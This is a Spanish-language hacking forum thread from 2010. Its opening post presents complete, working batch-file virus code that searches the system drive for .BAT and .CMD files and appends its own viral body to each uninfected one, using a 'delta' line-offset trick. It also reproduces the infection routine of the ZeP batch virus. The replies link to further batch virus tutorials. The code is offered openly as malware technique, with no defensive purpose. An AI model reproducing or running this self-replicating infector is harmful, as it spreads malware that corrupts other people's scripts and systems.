Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Binary_Death en 3 Febrero 2010, 20:49 pm



Título: Infección de ficheros por lotes. [By Binary_Death]
Publicado por: Binary_Death en 3 Febrero 2010, 20:49 pm
Esto es algo que solo vi en un malware batch... ZeP, el archiconocido xD.
Primero veamos el objetivo.
Cuando infectamos con un bat otro bat, agregamos el codigo del primero al segundo... evidentemente. El problema surge al ejecutar el fichero infectado, cuando vamos a infectar otro fichero desde un fichero ya infectado copiamos todo el codigo del fichero en otro fichero... y nosotros queremos copiar solo el codigo virico. En resumen, necesitamos saber la posicion de nuestro malware en el fichero para copiar solo este y no todo el fichero en si.
ZeP usa una tecnica que yo considero ingeniosa. Todas las lineas de codigo tienen la palabra ZeP, y luego con un find localiza todas esas lineas, localiza ese codigo y lo añade.
En ensamblador pasa lo mismo, y la tecnica para calcular la posicion del malware se llama Delta Offset... asi que para no ponerle Delta Word en batch dejemoslo en Delta... xDD

Código:
::[H4AR45R849H]_start
@echo off
set "[0]=%~0"
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD"
call:delta&call:infect
exit /b
:infect
set "jmp="
if %delta% NEQ 0 (set "jmp=skip=%delta% ")
for /f "tokens=*" %%f in ('dir /b /s %find%') do (
FIND /i "[H4AR45R849H]"<"%%~f">nul
if errorlevel 1 (call:write "%%~f"))
GoTo:EoF
:write
ECHO.>>"%~1"
for /f "tokens=* %jmp%usebackq" %%w in ("%[0]%") do (
ECHO.%%w>>"%~1"
if /i "%%w"=="::[H4AR45R849H]_end" (GoTo:EoF))
GoTo:EoF
:delta
set "linepos=0"&set "delta=0"
for /f "tokens=* usebackq" %%x in ("%[0]%") do (
if "%%x"=="::[H4AR45R849H]_start" (call set delta=%%linepos%%&GoTo:EoF)
set /a linepos+=1)
GoTo:EoF
::[H4AR45R849H]_end

Esto es lo que estuve codeando estos dias...
Buscamos el numero de linea que señala el principio del codigo virico, asi luego con un for y skip nos posicionamos para inyectar codigo hasta que se detecte el final del codigo virico.

Y aqui dejo el método que usaba el virus ZeP:

Código:
@echo off %DeLtA%
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD" %DeLtA%
set "[0]=%~0" %DeLtA%
:infect %DeLtA%
for /f "tokens=*" %%f in ('dir /b /s %find%') do ( %DeLtA%
find "DeLtA"<%%f>nul %DeLtA%
if errorlevel 1 (call:write "%%~f")) %DeLtA%
GoTo:EoF %DeLtA%
:write %DeLtA%
ECHO.>>"%~1" %DeLtA%
find /i "DeLtA"<%[0]%>>"%~1" %DeLtA%
GoTo:EoF %DeLtA%

Para malwares largos no es conveniente... porque tiene que tener una palabra en cada linea xDDD y eso son bastantes bytes mas.


Y bueno, este es mi primer post en este foro, espero que sea de utilidad :P

Saludos!


Título: Re: Infección de ficheros por lotes. [By Binary_Death]
Publicado por: xassiz_ en 3 Febrero 2010, 21:36 pm
Esto ya es muy conocido, the_Shadow y hizo un manual sobre esto ;D


Título: Re: Infección de ficheros por lotes. [By Binary_Death]
Publicado por: Binary_Death en 4 Febrero 2010, 13:01 pm
 :huh: no encontre nunca nada por la red =/
Me puedes pasar el link porfavor?  ;D

Saludos!


Título: Re: Infección de ficheros por lotes. [By Binary_Death]
Publicado por: xassiz_ en 4 Febrero 2010, 14:20 pm
Mira aquí tienes un ejemplo:

http://foro.elhacker.net/scripting/virusbatch_nurex-t200263.0.html

El tutorial solo está posteado aquí:

Creación de Modulos en Batch (http://foro.code-makers.es/index.php/topic,713.0.html)


Título: Re: Infección de ficheros por lotes. [By Binary_Death]
Publicado por: ---saster--- en 4 Febrero 2010, 17:30 pm
jeje si es batch, Shadow habrá tenido la idea antes de hacerlo xD

saludos


Título: Re: Infección de ficheros por lotes. [By Binary_Death]
Publicado por: Binary_Death en 4 Febrero 2010, 20:09 pm
... Ahi esta posteada la creacion de modulos como el del segundo metodo, mas no el del primero xD
El primer codigo no tiene nada que ver con la idea de shadow, ya adverti que el segundo es el metodo que usaba el virus ZeP
Saludos.